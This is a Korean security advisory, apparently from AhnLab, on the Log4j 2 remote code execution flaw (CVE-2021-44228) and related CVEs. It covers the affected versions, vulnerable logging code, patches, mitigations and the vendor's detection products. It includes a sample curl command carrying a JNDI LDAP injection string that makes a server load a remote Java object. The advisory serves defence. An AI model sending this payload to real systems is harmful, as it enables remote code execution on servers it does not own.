Apache Log4j 2 취약점 주의 및 업데이트 권고

Apache Log4j 2 취약점(CVE-2021-44228)이 2021년 12월 10일 POC와 함께 트윗 Github에 공개되었다. 해당 취약점은 Log4j 소프트웨어의 원격 코드 실행(RCE) 취약점으로 로그 메시지에 원격의 자바 객체 주소를 포함시켜 취약한 서버에서 실행시킬 수 있다. 이는 알리바바의 클라우드 보안팀이 2021년 11월 24 일에 Apache 소프트웨어 재단에 최초 보고하였으며, 첫 패치는 2021년 12월 6일에 배포되었다. 이 후로도 패치가 지속 이루어지고 있으며 해당 내용은 아래와 같다.


1. 취약점 대상 및 버전

다음의 조건들의 제품들은 해당 취약점의 영향을 받는다.

  • Apache Log4j 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전
  • Apache Log4j 1.2.x의 모든 버전


2. 취약점 공격 방법

Log4j 를 이용하는 서비스에서 user-agent 로 전송된 문자열을 로그로 기록하는 코드가 포함된 경우 다음과 같이 공격할 수 있다.

[서버 소스 코드 일부]

static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
...
String userAgent = he.getRequestHeader("user-agent");    
String response = "<h1>Hello There, " + userAgent + "!</h1>";
log.error("Request User Agent:{}", userAgent);
...

[취약점 공격]

xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격
ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’


3. 해결된 취약점

  • Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-44228, CVSS 10.0)
  • Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 서비스 거부 오류(Denied of Service)를 발생시킬 수 있는 취약점 (CVE-2021-45046, CVSS 3.7)
  • Log4j 1.2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-4104)


4. 취약점 대응방안

1) 2021년 12월 14일 업데이트를 통해 취약점 패치가 다음과 같이 제공

2) Log4j 패치가 어려운 경우 취약점 완화 적용 방안 (ATIP 보안권고문 참조)

  • 버전 : Log4j 2.0-beta9 이상 2.15.0 이하 버전 (Log4j 2.12.2 버전 제외)
    JndiLookup 클래스를 다음과 같이 제거
    # zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  •  버전 : Log4j 1.x 버전
    Log4j 1.x에서 JMSAppender 사용 여부 확인 후 해당 기능을 중지


5. 안랩 제품 대응현황

AhnLab에서는 TG/IPX, AIPS, HIPS 제품을 통해 해당 취약점 탐지가 가능하다.


연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

참조 1) https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
참조 2) https://atip.ahnlab.com/ti/contents/security-advisory?i=0a053796-66db-4ce0-9c30-d3c19060670e

4.2 10 votes
별점 주기
guest
0 댓글
Inline Feedbacks
View all comments